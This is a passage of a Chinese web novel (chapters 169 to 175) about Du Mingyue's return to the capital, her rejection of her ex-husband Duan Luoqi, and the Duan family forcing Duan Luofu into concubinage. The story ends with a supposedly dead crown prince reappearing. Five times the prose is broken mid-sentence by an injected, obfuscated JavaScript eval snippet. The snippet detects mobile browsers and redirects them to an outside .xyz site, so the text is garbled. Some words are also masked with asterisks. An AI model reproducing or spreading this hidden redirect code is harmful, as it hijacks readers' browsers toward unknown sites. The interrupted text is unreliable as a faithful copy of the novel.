话落,手便垂了下去。杜明月伏在床边,哭得几乎晕厥,慕子叙紧紧抱着她,眼眶也红了,却仍强撑着安抚:“明月,有我在。” 办完老夫人的身后事,杜明月坐在空荡荡的庭院里,看着老夫人常坐的石凳,轻声道:“子叙,外祖母的遗言,我想如她所愿。我们去找找我的亲生父母吧。” 慕子叙握着她的手,点了点头:“好,我们一起去。” 出发前,两人去医馆准备路上用的药材。 这日,刚走出医馆,就见几个蒙面人从巷口冲出来,手里握着明晃晃的刀,直扑慕子叙而来。 “小心!”慕子叙将杜明月护在身后,抽出腰间的佩剑迎了上去。蒙面人的招式狠辣,招招致命,显然是冲着他的命来的。 慕子叙身手利落,很快就打跑了几人。 他弯腰捡起地上掉落的一块腰牌,看清上面刻着的“御林卫”字样时,脸色骤然沉了下来。 他握紧腰牌,指节泛白。 御林卫只听令于皇帝,皇帝这是什么意思? 明明他也看到了自己递上去的证据,不得不替慕家**,恢复自己的身份,说是会放自己自由,可是现在这是什么意思? 难不成皇帝真的就恨慕家恨成了这个样子?又或者,当年慕家被污蔑,他被充入南风馆,其实皇帝一直都知道真相,不过是怕慕家功高盖主,故意打压! 第一百七十章 回到京城 慕子叙心想,如此一来,倒是说得通,如今他**昭雪,皇帝竟还不肯放过他了! “子叙,你怎么了?”杜明月见他脸色不对,急忙上前。 慕子叙深吸一口气,将腰牌藏进袖中,勉强挤出个笑容,“没事,只是些小**贼。我们先回去吧。” 他不能让杜明月担心,报仇的事,他得自己悄悄谋划。等杀了那个出尔反尔的狗皇帝,为慕家报仇雪恨,他再告诉她一切。 巷口的风带着梅雨的湿意,慕子叙握着杜明月的手,掌心却已沁出薄汗。 他知道,平静的日子或许要结束了,但这一次,他绝不会让任何人伤害到他身边的人。 三日后,晨光刚漫过运河码头的石阶,杜明月便跟着慕子叙踏上了去往京城的画舫。 半月舟车劳顿,她鬓边的银钗微微晃动,却难掩眼底的紧张。 这是她离开近一年半以后,第一次重回京城,街面上的热闹比记忆中更盛,挑着货担的小贩吆喝着新鲜果子,穿长衫的书生匆匆往贡院方向去,连风里都裹着几分不同寻常的雀跃。 “今日倒是赶巧了。”慕子叙替她拂去肩头的落尘,目光扫过街角张贴的红纸,“竟是科举放榜的日子。” 杜明月顺着他的目光望去,只见一群书生围着红榜议论,有人喜极而泣,有人垂头丧气。 她忍不住轻笑,“不知道今年的状元郎是谁,定是个有大才的人。” 慕子叙握着她的手紧了紧,眼底闪过一丝复杂,却很快掩去:“我得先去南风馆一趟,有些旧事先了断。你在对面的茶馆等我,等我出来,有件事想跟你坦白。” “好。”杜明月点了点头,看着他转身走进巷口。南风馆的朱漆大门依旧华丽,却早已没了当年的喧嚣,想来是慕子叙**后,早已将这里整顿过。 她走进茶馆,选了个有窗户的包厢。她刚在靠窗的位置坐下,准备要叫伙计上茶,就听见身后传来个熟悉又刺耳的声音。 “明月?” 杜明月的身子猛地一僵,缓缓转过身,就见段骆岐站在不远处,穿着一身月白锦袍,比两年前清瘦了些,眼底却满是难以置信的狂喜。 他身边还站着段骆霖,神色复杂地看着她。 “你真的回来了!”段骆岐快步走过来,语气急切得像是怕她跑了,“我给你往江南写了好多信,你是不是看到信了?是不是愿意再给我一次机会?” 杜明月往后退了一步,避开他伸过来的手,语气冰冷:“段侯爷认错人了。” “我怎么会认错你?”段骆岐却没察觉她的疏离,依旧自顾自地说,“你走后我才明白,我以前有多混账。柳楹莹和春红我早就送走了,两个孩子也安置在了庄子上。府里再没有别的女人。” “我这两年一直在等你,日日都在反省,我是真的爱上你了,明月,我不能没有你。” 他说着,竟要去拉杜明月的手,却被她用力甩开。杜明月看着他虚伪的模样,只觉得可笑:“段骆岐,我已经成亲了。” “成亲?”段骆岐像是听到了天大的笑话,猛地摇头,“你别骗我了!你若真成亲了,怎会一个人来茶馆?你定是还在怪我,故意说这种话气我。” 他往前凑了凑,眼神里带着偏执的期待,“没关系,以前是你追着我,这次换我来追你。不管你要我等多久,我都愿意。” 杜明月看着他这副执迷不悟的样子,只觉得心头发冷。她想起在段府的日日夜夜,想起他让自己堕胎时的绝情,想起他骂柳楹莹孩子是野种时的狠戾,这些画面像针一样扎在心上。 “我没骗你。”她从袖中取出一枚玉佩,那是慕子叙昨日刚给她戴上的,上面刻着两人的名字,“ 我嫁的是慕子叙,我们已经成了亲。我回来京城,是另有目的,与你没有半分关系。” 段骆岐的目光落在玉佩上,脸色骤然变得惨白。他踉跄着后退一步,嘴里喃喃道:“不可能……慕子叙?他不是宇阳公主的人吗?你怎么会嫁给他?” “我的事,与你无关。”杜明月站起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244495|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气带着不容置疑的决绝,“段侯爷,我们之间早就结束了。从今往后,你我各走各的路,再无瓜葛。” 她说完,转身就要往茶馆外走,却被段骆岐死死拉住手腕。他的力气大得惊人,眼神里满是疯狂:“我不准你走!明月,你不能嫁给别人!你是我的!” 就在段骆岐眼神疯狂,用力攥着杜明月的手腕,让她吃痛出声时,突然另一只手按住了段骆岐的手。 段骆岐一愣,杜明月也震惊的抬头,让他们都没想到是,出手的不是别人,而是段骆岐的弟弟段骆霖。 段骆霖面色不悦,甚至是充满了警告的看着段骆岐,压低声音道,“大哥,你没听到她,她说她不舒服,不喜欢你这样!” 段骆岐的话和态度,更是让杜明月和段骆岐疯狂震惊。 段骆霖这是在干什么? “霖儿,这是我和明月之间的事情,和你没有关系,我会看着办的,今日放榜的事情,你就自己去看吧,我还有话和明月说。” 段骆岐有些不耐烦的和段骆霖开了口,然而,让他完全没想到的,段骆霖却依然面不改色,十分严肃,甚至言语中带着几分不满。 “还不快松开?”段骆岐皱眉再次开口,他心里疑惑,不知道为什么,这次他看着段骆霖,竟然莫名有几分危机感。 “我不松!大哥,现在她已经不是你的妻子了,她有权自己掌握自己的命运,而且不是你有这个想法,她就一定要听你哦的。” 段骆霖的话,让杜明月倒是有些意外。 这一次,段骆霖也在心中下定了决心,他不要继续做一个旁观者,他这一次也要努力争取,做那个站在杜明月身边的男人, “我……”就在段骆霖大着胆子,决定将心里话说出来时,外头传来一阵熟悉的脚步声。 慕子叙快步走过来,看到段骆岐抓着杜明月的手,脸色瞬间沉了下来。 他快步上前,一把将杜明月护在身后,眼神冰冷地盯着段骆岐,“段侯爷,请你自重!” 第一百七十一章 再给我一次机会 慕子叙的声音像淬了冰,望着段骆岐的眸子里满是怒意和警告,而他身边的伴竹更是亮出了手中的佩剑,像是随时准备替慕子叙教训段骆岐。 段骆岐看向慕子叙,先是愣了愣,随即眼底翻涌起浓烈的嘲讽,嘴角勾起一抹刻薄的笑:“我当是谁,原来是南风馆里出来的拂星公子。” “我真没想到,你竟然会和明月一起出现。”段骆岐冷笑道,“我绝不相信明月真的嫁给了你,这一定是明月故意骗我编造的谎言。” 说着,段骆岐回头看向杜明月,眼里带着不可置信道,“明月,你告诉我,这不是真的,你快告诉我啊,你怎么可能看上一个**,还嫁给他,这太可笑了,绝不可能!” 这话像针一样扎在杜明月心上,她猛地从慕子叙身后站出来,眼神冷得能冻住人:“段骆岐,你闭嘴!你在胡说八道,我决不轻饶你!” “怎么?我说错了?”段骆岐丝毫不惧,反而往前凑了凑,目光在慕子叙身上扫来扫去,像是在看什么上不得台面的东西。 “一个曾在风月场里供人取乐的**,也配娶你?”他转头看向慕子叙,“慕子叙,你自己说说,你有什么资格站在她身边?” 他转头看向杜明月,语气又软下来,带着几分自以为是的深情,“明月,我是真的爱你,你是不是不信,我真的可以证明。” “就算,就算,你真的嫁给他了,我也不在乎,我知道你一定是被他骗了。你跟他和离,跟我走,我保证这一次一定好好待你,绝不会再辜负你。” 段骆岐着急的道,“明月,我都这么说了,你该相信我的真心了吧?我是侯爷,身份尊贵,能给你侯夫人的尊荣,这些都是他给不了你的。” “啪——” 清脆的巴掌声在喧闹的茶馆里炸开,所有人的目光都聚了过来。段骆岐捂着脸,难以置信地看着杜明月,半边脸颊以肉眼可见的速度红了起来。 “段骆岐,你根本不配提我相公的名字。”杜明月的手还在微微发颤,眼神却亮得惊人。 “他是什么样的人,我比你清楚。慕家早已**,他是忠臣之后,不是你口中的‘**’。” 杜明月突然冷笑,满眼都是厌恶,“倒是你,靠着冒领救命之恩骗我五年,对我欺瞒背叛,另立外室,纵容妾室国丧期间生子,还害我两次失去孩子,这些事你难道都忘了?” 她的声音不大,却字字清晰,落在段骆岐耳中,像重锤般砸得他头晕目眩。 “你……你说什么?”他踉跄着后退一步,眼神里满是慌乱,“什么冒领救命之恩?当年明明是我救了你!” “别装了!我已经知道不是你了,人证物证都有,我知道当初救我的正是我如今的相公!”杜明月冷笑一声,转头温柔的牵起了慕子叙的手。 “当**,他有难处无法和我相认,却没想到竟然会被你这样的卑鄙小人钻了空子!你利用我平步青云,如今竟然还敢出现在我面前?”杜明月眼里的厌恶完全不加遮掩。 段骆岐张了张嘴,想说什么,却发现喉咙像是被堵住,一个字也说不出来。 当年他确实是恰好路过,遇到被慕子叙救下的杜明月,见她昏迷,又看到她身上有一块价值连城的玉,还能用得起千年人参,便猜测她一定是富家千金,动了几分歪心思。 当时,他在犹豫间,就被醒来的杜明月当成了救命恩人,他便也没有否认,没想到这么多年过去,竟被她识破了。 “你无话可说了?”杜明月皱眉,“段骆岐,我以前只当你是冷漠无情,没想到你连救命之恩都要冒领。你这样的人,根本不配谈‘喜欢’,更不配谈‘爱’。” 慕子叙上前一步,将杜明月护在身后,眼神冰冷地盯着段骆岐:“段骆岐,今日之事我可以不追究,但你记住,明月现在是我的妻子。若是你再敢纠缠她,休怪我对你不客气。” 他的声音不大,却带着不容置疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244496|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威慑力,段骆岐看着他眼底的寒意,竟下意识地后退了一步。 “竟然是你救的?不……不可能……”段骆岐还在喃喃自语,显然无法接受这个事实。他怎么也没想到,自己当年一时的贪念,竟会让他彻底失去杜明月。 杜明月不想再跟他纠缠,拉了拉慕子叙的衣袖:“相公,我们走。” 慕子叙点了点头,扶着她转身往外走。 两人的身影消失在茶馆门口,留下满座的议论声和脸色惨白的段骆岐,还有一直沉默的段骆霖。 段骆霖看着窗外,眼神里满是失落。他原本还想着,若是自己能高中状元,或许能有勇气向杜明月表明心意,可现在看来,一切都成了泡影。 “看什么看?还不去看放榜!”段骆岐猛地回过神,对着段骆霖吼着。他现在满心都是怒火和不甘,只想找个地方发泄。 段骆霖却摇了摇头,声音低沉:“大哥,我不想去了。” “你说什么?”段骆岐皱起眉头,一把抓住他的手腕,“你寒窗苦读这么多年,不就是为了今天吗?为什么突然不想看了?” 段骆岐看段骆霖这副伤心失落的模样,心里那点奇怪的想法突然变得异常强烈,他不敢置信的问道,“你说实话,你这是什么意思?还有刚才,你为什么要拦着我?后来又不帮我,只是站在一旁看着?” 段骆霖被他抓得生疼,却像是终于忍到了极限,猛地甩开他的手,眼眶泛红:“帮你?我怎么帮你?大哥,你以为只有你喜欢杜明月吗?” 他深吸一口气,声音带着压抑许久的痛苦,“直到她彻底从段府离开,从我眼前消失时,我才意识到,原来我早就爱上她了,只是碍于她和我的身份,我才不得克制。” “可是越是克制越是浓烈,那时我才意识到,或许早就爱上了她,甚至比我意识到的时间更早!或是是在她是管教我、关心我时开始,又或者是更早,她刚嫁进府里的时候……” 第一百七十二章 卢尚书登门 “这两年我总是会想起她,想的彻夜难眠十分痛苦,于是我拼命读书,就是想考上状元,凭自己的本事挣个前程,然后去找她,告诉她我喜欢她,我想娶她!” 被杜明月再次成亲刺激到的段骆霖,此时也已经失去了理智,只想把心中积攒了许久的话全部说出来! “你……你说什么?”段骆岐像是听到了天大的笑话,又像是被雷劈中,他指着段骆霖,手指都在发抖,“她是你嫂子!你怎么能有这种龌龊的心思?你对得起我,对得起段家吗?” “嫂子?”段骆霖自嘲地笑了笑,眼底满是绝望,“她早就跟你和离了!我以为我还有机会,可我没想到,她竟然已经嫁人了。我们……我们都没机会了。” 他说完,转身就往外走。段骆岐看着他的背影,心里五味杂陈,既有愤怒,又有一丝莫名的失落。他愣了半晌,也跟着走了出去。 两人回到段府时,刚进大门,就见段老夫人穿着一身簇新的锦袍,笑眯眯地迎了上来:“霖儿,你可算回来了!恭喜你啊,你中了状元!” 段老夫人手里拿着一张喜报,脸上满是得意。 她两年前因为杜明月的关系,被董皇后召进宫中折磨了几个月,后来让人意外的是,董家倒台了,董皇后也被囚禁,她才得以放回来。 自那以后,她就觉得定是杜明月走了,段家的晦气也跟着走了,日子也渐渐好了起来。 “你们怎么了?脸色这么难看?”段老夫人注意到两人的神色不对,疑惑地问道。 段骆岐和段骆霖都没说话,只是摇了摇头。他们现在根本没心情跟老夫人分享中状元的喜悦。 段老夫人也不追问,只是拉着段骆霖的手,絮絮叨叨地说:“你不知道,我听到你中状元的消息时,有多开心!咱们段家终于又出了个有出息的!” “而且,你们兄弟俩能和好,我也就放心了。”段老夫人说着看了一眼段骆岐,自从段骆岐知道了全部的事实真相后,这一年多近两年的时间里,除了对自己冷漠些,倒也还算是说得过去。 段老夫人想着,或许是因为段骆霖明确说,绝不会抢侯爷的位置,所以段骆岐才放心的和他们母子相处吧。 一看到段骆霖那缺失的手指,段老夫人也想通了,按段骆霖的性子,逼他也没用,好在现在段骆霖自己争气,考上了状元,她此刻也算是心满意足,没什么别的要求了。 她顿了顿,又语重心长地道,“霖儿啊,你现在是状元了,以后要专心仕途,好好为朝廷效力,继续为咱们段家争光。” 段骆霖点了点头,声音低沉:“母亲,我知道了。” 他现在满脑子都是杜明月的身影,根本没心思听老夫人说这些。 段老夫人见他兴致不高,也不再多说,摆了摆手:“好了,你们一路也累了,先回房休息吧。晚上我让人准备庆功宴,好好庆祝庆祝。” 段骆岐和段骆霖应了一声,转身各自回了房。偌大的段府,虽然因为段骆霖中了状元而喜气洋洋,可这对兄弟的心里,却像是被什么东西堵住了,满是失落和不甘。 段府的庆功宴还没备妥,门房就匆匆来报,说吏部尚书卢大人亲自登门。 段老夫人一听,忙整理了衣襟,满脸堆笑地迎出去。 卢大人手握实权,段骆霖刚中状元,正需这样的靠山,如今他主动上门,定是有好事。 “卢大**驾光临,寒舍蓬荜生辉啊!”老夫人握着卢大人的手,笑得眼角皱纹都挤在了一起。 卢大人约莫五十岁,身材微胖,脸上堆着油腻的笑,一进门,目光下意识的在府里的丫鬟身上扫了一眼,回过神来,又却被老夫人身后的段骆芙吸引住了,眼神不自觉的亮了亮。 “老夫人客气了。”卢大人收回目光,清了清嗓子,“今日前来,是有件喜事想跟老夫人商量。爱女年方十八,尚未许配人家,我瞧着骆霖贤侄一表人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244497|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才,又是新科状元,若是老夫人不嫌弃,我想招他做个女婿,不知老夫人意下如何?” 这话一出,段老夫人先是一愣,随即喜得眉开眼笑:“哎呀!这是天大的好事啊!卢大人肯垂爱,是我们段家的福气!我马上将霖儿叫过来,当面感谢卢大人!” 她急忙示意段骆芙去叫,可段骆霖却迟迟没出来,甚至段骆岐来了,他还没有出现,最后还是段骆岐不耐烦地去他房里催,才见段骆霖面色冷淡地跟着段骆岐走了出来。 “霖儿,快给卢大人行礼!”老夫人急忙催促。 段骆霖却站在原地没动,目光落在卢大人身上,语气平淡:“多谢卢大人抬爱,只是晚辈已有心仪之人,这门亲事,晚辈不能应。” 满室的喜气瞬间僵住。卢大人脸上的笑容凝固了,尴尬地咳了两声:“贤侄莫不是在跟老夫开玩笑?你刚中状元,正是前程要紧的时候,爱女容貌端庄,家世也配得上你,你怎能……” “晚辈从不开玩笑。”段骆霖打断他,语气坚定,“婚姻大事,需得两情相悦。晚辈心中已有他人,断不能委屈了卢小姐。” “你!”卢大人气得脸色发青,猛地拍了下桌子,“好个不知好歹的东西!老夫亲自上门提亲,是给你面子!你别给脸不要脸!” 段老夫人吓得魂都快没了,忙上前打圆场:“卢大人息怒!这孩子刚中状元,一时糊涂,您别跟他一般见识!我替他给您赔罪了!”她说着就要下跪,却被卢大人一把拦住。 “老夫人不必如此。”卢大人的目光又落到端茶进来的段骆芙身上,眼神里带着毫不掩饰的贪婪,“其实……老夫也不是非要骆霖贤侄不可。令嫒容貌秀丽,性子也温顺,若是老夫人愿意,老夫倒想纳令嫒做个妾室,往后定会好好待她,也会照拂段家。” 这话像是一盆冷水,浇得段骆芙浑身发冷。她手里的茶盏“当啷”一声落在地上,滚烫的茶水溅了卢大人一裤腿。 第一百七十三章为了段家牺牲做妾 “放肆!”段骆霖猛地上前,一把将段骆芙护在身后,眼神冰冷地盯着卢大人,“卢大人请自重!我妹妹是段家的小姐,当今侯爷的妹妹,不是你可以随意羞辱的!” “羞辱?侯爷?”卢大人冷笑一声,“你大哥这个侯爷都在府里赋闲多久了?他自己做事不检点,国丧期间任由外室生子,又背叛太子,转头投奔其他皇子,其他皇子不过是逗逗他,你还真以为他能得个什么好差事?” “你!”段骆岐气的咬牙,也恨不得直接上去挥拳,将卢尚书揍一顿,还是段骆芙急忙在一旁拉住了他,避免事态进一步恶化。 卢尚书得意道,“她能做老夫的妾室,是她的福气!你以为你考上状元郎,就真的能一步登天?惹恼了老夫,你的仕途就别想有好下场!” “我的仕途?”段骆霖像是听到了天大的笑话,“这状元我不要了!这官我也不当了!我段骆霖就算饿死,也绝不会让我妹妹受这种委屈!” 他说着,挥手就给了卢大人一拳。卢大人没防备,被打得踉跄着后退几步,嘴角当场溢出血来。 “反了!反了!”卢大人捂着嘴,气得浑身发抖,“你们段家等着瞧!老夫绝不会放过你们!” 说完,他捂着嘴,狼狈地转身走了。 段老夫人看着离开的卢尚书直接愣住了,她怎么也没想到段骆霖都考上状元了,竟然还是和以前一样横冲直撞的脾气。 她气的两眼发黑,想说什么,转头看着怒气冲冲的段骆霖,突然一屁股坐在地上,拍着大腿哭了起来。 “我的命怎么这么苦啊!好不容易盼着你中了状元,以为你能让段家更上一层楼,光宗耀祖,结果你却把卢大人给得罪了!” 段老夫人越嚎越大声,“这下好了,段家彻底完了!你要知道你大哥现在可只剩个虚名了啊!” 她哭着喊着,突然抓住段骆岐的手:“老大!你快去给卢大人赔罪!你是侯爷,即便现在只是个虚名,他多少也会给你点面子!你快去啊!” 段骆岐本来就因为一直被皇帝无视,赋闲在家而沮丧,今天又因为杜明月的事心烦,现在又被老夫人逼着去求那个油腻的卢大人,心里更是烦躁。 他猛地甩开段老夫人的手:“要去你自己去!我段骆岐就算不当这个侯爷,也不会去求那种人!” 说完,他转身就往外走,根本不管身后老夫人的哭喊。 屋子里很快就只剩下段老夫人和段骆芙。 段骆芙蹲在地上,默默收拾着地上的碎瓷片,眼泪一滴滴落在手背上。 老夫人哭了半晌,突然止住哭声,眼神里闪过一丝狠厉。她走到段骆芙面前,语气冰冷:“芙儿,事到如今,只有你能救段家了。你委屈一下,只要能讨卢大人欢心,一切还都有救。” 段骆芙猛地抬头,眼底满是难以置信:“母亲,您……您想让我嫁给卢大人?” “他是吏部尚书,手里有实权。”老夫人的声音带着一丝哀求,又带着不容置疑的强硬。 “只要你嫁过去,他定会原谅咱们段家,还会照拂骆霖的仕途。芙儿,你就当是为了段家,为了你的哥哥,委屈一下自己吧。” “委屈?”段骆芙突然笑了起来,眼泪却越流越凶,“母亲,您觉得这是委屈吗?他都能当我爹了,您竟然让我给他做妾?” 她猛地站起身,声音带着压抑许久的愤怒:“我为了段家,做了多少事?当年您让我骗杜明月,说大哥心里只有她,让她心甘情愿留在段府受委屈,我做了!” “我明明早就知道你的身世秘密,可为了维护您,我还是选择了站在你这边,欺骗了所有人!我以为只要我听话,只要我孝顺,就能得到您的疼爱,可我没想到,最后您竟然要把我推给那样的人!” “是我活该!明月姐姐当年明明早就提醒过我的,可是我不信,还觉得是她不对,可没想到到头来……” 段骆芙冷笑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244498|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,绝望的捂着脸,哭得浑身发抖,“是不是在您眼中,我就是可以随时被你出卖的,难道我就没有尊严,没有自己的想法吗,难道我就活该为了段家牺牲自己吗!” “我不要!”段骆芙歇斯底里的喊着,可是下一瞬脸颊上传来的剧痛,让她整个人一下子愣住了。 “芙儿!”老夫人突然给了她一巴掌,清脆的巴掌声在院子里回荡。 “你以为我想让你受委屈吗?可这是段家唯一的机会!” 老夫人的声音带着哭腔,“若是卢大人报复咱们,段家就真的完了!不止你二哥,还有你大哥的前程,咱们段家的百年基业,就都毁了!” 她“噗通”一声跪在段骆芙面前,老泪纵横,“芙儿,母亲求你了!就当是母亲对不起你,你救救段家,救救你的哥哥们吧!母亲来世做牛做马,一定报答你!” 段骆芙看着跪在地上的老夫人,心里像被刀割一样疼。她恨段老夫人的自私,恨段家的无情,可看着段老夫人逐渐花白的头发,看着她哭得撕心裂肺的样子,她又狠不下心来。 半晌,她缓缓蹲下身,扶起老夫人,声音沙哑,“母亲,我答应您。” 老夫人猛地抬起头,眼里满是惊喜,“芙儿,你……你答应了?” 段骆芙点了点头,眼泪却像断了线的珠子一样往下掉。 “但我有一个条件,我嫁过去以后,您要好好待我两个哥哥,不要再逼他们做自己不愿意做的事情了,有我一个人为了段家做到这个地步已经够了,别再让他们为了段家受委屈了。” “好!好!母亲都答应你!”老夫人紧紧抱着段骆芙,涕泗横流,看起来一副情深意切替段骆芙难过难过的样子。 段骆芙靠在老夫人怀里,望着院外灰蒙蒙的天空,心里一片冰凉。她知道,从她答应的那一刻起,她的人生,就彻底完了。 但她没得选了,以后她的人生只会和眼前的天空一样,一片灰暗, 第一百七十四章 死去的太子出现了 自从收到卢大人那边的回信后,段老夫人的动作很快。 段府的红绸是后半夜悄悄挂起来的,没有鼓乐,没有宾客,连喜庆的鞭炮都透着几分潦草。 段骆芙穿着一身簇新的粉红嫁衣,坐在镜前,看着丫鬟替自己描上浓艳的胭脂,眼泪却像断了线的珠子,一滴滴砸在嫁衣上,晕开小小的湿痕。 天刚蒙蒙亮,卢家的花轿就停在了段府后门,等段骆芙起来梳妆打扮完以后,天也已经完全亮了。 段老夫人亲自扶着段骆芙上轿,压低声音叮嘱,“到了卢府要谨言慎行,好好伺候卢大人,等过些日子,我再让你哥哥来看你。” 段骆芙没有说话,只是掀开轿帘一角,最后看了一眼熟悉的段府,眼底满是绝望。 花轿刚走,段骆霖就闯了进来。 他是被丫鬟的哭声惊醒的,一听说段骆芙被送走了,当场就红了眼,冲到老夫人面前,一把抓住她的手腕,“母亲!你把芙儿送到哪里去了?你快说!” 段老夫人被他抓得生疼,却强装镇定:“还能送到哪里去?卢大人府里!霖儿,这还不都是为了你?” 她甩开他的手,语气带着几分怨怼,“若是当初你肯答应娶卢小姐,两家结了姻亲,何至于让芙儿受这种委屈?现在木已成舟,你就别再胡来了!” “为了我?”段骆霖像是听到了天大的笑话,他猛地后退一步,眼底满是猩红,“你把芙儿推进火坑,竟然说是为了我?我不要什么仕途,我只要芙儿回来!” 他转身就要往外冲,却被段老夫人死死拉住:“你不能去!卢大人现在正在气头上,你去了只会把事情闹得更糟!段家已经经不起折腾了!” “你就理解理解芙儿的良苦用心,不要再折腾了,从此以后,好好走仕途吧。”段老夫人极力劝说。 “我不要!我受够了!”段骆霖用力甩开她,“我的心早就**,段家怎么样,我的仕途怎么样,我都不在乎!我今天一定要把芙儿救回来,大不了跟卢大人拼命!” “拦住他!”段老夫人急得大喊。 就在这时,段骆岐从外面走进来,看着状若疯癫的段骆霖,脸色一沉。 他上前一步,不等段骆霖反应,抬手就打在他的后颈上。段骆霖闷哼一声,直挺挺地倒了下去。 “霖儿!”段老夫人惊呼一声,快步上前,却被段骆岐拦住。 “你别管了。”段骆岐的声音带着几分疲惫,“我会把他绑起来,软禁在房里,绝不会让他去**。芙儿的事……已经这样了,再闹也没用。” 段老夫人看着昏迷的段骆霖,又看了看面无表情的段骆岐,终究是叹了口气,没再说话。 院子里静悄悄的,只有风吹过树叶的声音,像是在为段骆芙无声地哀悼。 与此同时,京城最大的茶楼里,杜明月正靠在窗边喝茶。慕子叙坐在她对面,手里拿着一本账册,两人有时闲聊两句,目光也会不约而同的看向窗外的景色。 突然,一阵唢呐声传来,杜明月下意识地低头,正好看到一队迎亲的队伍从楼下经过。 那队伍太过冷清,只有寥寥几个轿夫和丫鬟,一顶小轿看着孤零零的,实在格外刺眼。 “这迎亲的队伍怎么这么寒酸?”杜明月疑惑地喃喃自语。 慕子叙也抬起头,目光落在花轿上,眉头微微蹙起。他示意身后的伴竹,“去打听一下,这是谁家的,到底是纳妾还是娶妻。” 伴竹很快就回来了,“公子,是段家的小姐,段骆芙。听说……是嫁给吏部尚书卢大人做妾。段老夫人为了保住段骆霖的仕途,特意把她送过去的。” “什么?”杜明月猛地站起身,不敢置信地看着楼下,“那个疯女人,竟然为了段骆霖的前途,这么牺牲自己的女儿,真是疯子,我没想到她竟然能赶出这种事!” 她虽然跟段骆芙不算亲近,但也知道她虽然愚蠢,但本性也还不坏,若最终的结局是嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244499|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给那么一个坏老头,这结局未免也残酷悲惨了一些。 甚至,有那么一瞬间,她都萌生了要去救段骆芙的冲动。 慕子叙握住她的手,轻声安慰,“明月,别激动,段老夫人一向重利轻情,做出这种事也不奇怪。我们先离开这里吧。” 杜明月点了点头,跟着慕子叙起身下楼。 刚走到楼梯口,她能感觉到身边慕子叙握着自己的手突然用力,甚至整个人都停下脚步愣住了。 她疑惑的抬头,只见慕子叙正一脸震惊和不敢置信的看向对面的客栈。 杜明月好奇的看过去,只见一身着青色长衫,身姿挺拔男人从里面走了出来、 杜明月见他一出来,便将一顶草帽戴在头上,还故意往下压了压,遮住了大半张脸。 她心想,若不是刚才瞥见了真容,现在绝对无法从这帽子下猜出此人的长相。 “认识的人?”杜明月用极小的,只有她和慕子叙两个人才能听清的声音道,“怎么了,为什么这么吃惊?” 慕子叙急忙回过神来,他抬头看向杜明月,想起杜明月应该是未曾见过被传已经“死去”的太子的真容,心里想着,也不知道要不要继续瞒着她,还是将所有的事情告诉她更安全。 慕子叙的心绪有些烦乱,下意识的看向“过世”太子离去的方向,他相信自己没有看错,看来真的太子回来了。 只是他为什么会在这个时候突然回来呢? 难不成,他这些年一直隐姓埋名,在宫外过着普通人的日子? 可是,如果他真的安心那样的生活,他也绝对不会再次出现在京城中。 难道,是他在民间得知了董家倒台,董相**,董皇后被囚禁于宫中的事情,所以坐不住了,专程找回来的? 如果真的是最后一种情况的话,那事情要变得棘手了,慕子叙心想,看来京城未来将会发生一场浩劫了,他必须提前想办法阻止这一切的发生。 第一百七十五章 谦王 慕子叙皱眉思索了许久,或许他原本和三皇子计划好的一切,恐怕都要因为“太子”的出现而做出改变了。 